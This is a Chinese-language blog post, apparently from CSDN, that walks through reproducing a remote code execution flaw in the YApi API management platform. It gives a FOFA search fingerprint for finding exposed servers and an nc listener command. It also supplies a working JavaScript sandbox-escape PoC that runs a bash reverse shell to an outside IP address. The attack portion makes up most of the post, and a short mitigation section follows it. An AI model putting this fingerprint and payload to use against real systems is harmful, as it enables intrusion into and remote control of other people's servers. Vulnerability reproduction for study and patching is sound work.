[ 漏洞复现篇 ] yapi 代码执行 getshell 漏洞复现详解

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

一、漏洞描述

API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

二、fofa指纹

app=“YAPI”

在这里插入图片描述

三、利用过程

1、打开登录页面,注册账号
2、新增项目,新增接口
3、打开高级Mock
4、开启脚本
5、写入poc
6、访问接口
7、getshell

四、环境搭建

1、Docker部署

https://github.com/Ryan-Miao/docker-yapi

在这里插入图片描述

可参考连接:

五、代码执行

1、打开登录页面,注册账号

在这里插入图片描述

随便填写
在这里插入图片描述

2、添加项目、添加接口

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、打开高级Mock

4、开启脚本

在这里插入图片描述

5、写入poc

在这里插入图片描述

6、访问接口

在这里插入图片描述

7、命令执行成功

在这里插入图片描述

六、Getshell(nc和nc的反向连接)

上面我们成功的执行了ls
我们把ls换成反弹shell的命令,就可以成功getshell了
Nc学习可参考链接:

1、攻击机监听

反弹shell我们就用nc就好了,linux系统是自带nc的
攻击机执行nc -lvv 44444进行监听

nc -lvvp 44444

有师傅可能看到我这里执行的是nc -lvv 44444
可能由于我用的vps是centos8的缘故,可能命令不一样。

在这里插入图片描述

2、靶机连接

新建项目,新建接口

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

打开高级mack,开启脚本,写入poc

就是之前代码执行的步骤。只需要把POC换一下就可以

在这里插入图片描述

POC

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("bash -i>&/dev/tcp/124.70.29.182/44444 0>&1)").toString()

访问接口

直接访问这个链接

在这里插入图片描述
在这里插入图片描述

攻击机getshell

Shell就反弹回来了

在这里插入图片描述

我们同样执行一下ls

在这里插入图片描述

七、漏洞防御:

1、关闭YApi用户注册功能;修改完成后,重启YApi服务

"config.json"添加"closeRegister:true"配置项:
 { 
"port": "*****", 
"closeRegister":true 
}

2、暂时关闭mock功能(需要修改YApi代码)

在"config.json"中添加"mock: false";
"exts/yapi-plugin-andvanced-mock/server.js"中找到

if (caseData&&caseData.case_enable{...}

在其上方添加

if(!yapi.WEBCONFIG.mock) {return false;}

3、白名单限制;

安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;

4、删除恶意

检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。

  • 54
    点赞
  • 64
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 43
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 43
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_PowerShell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值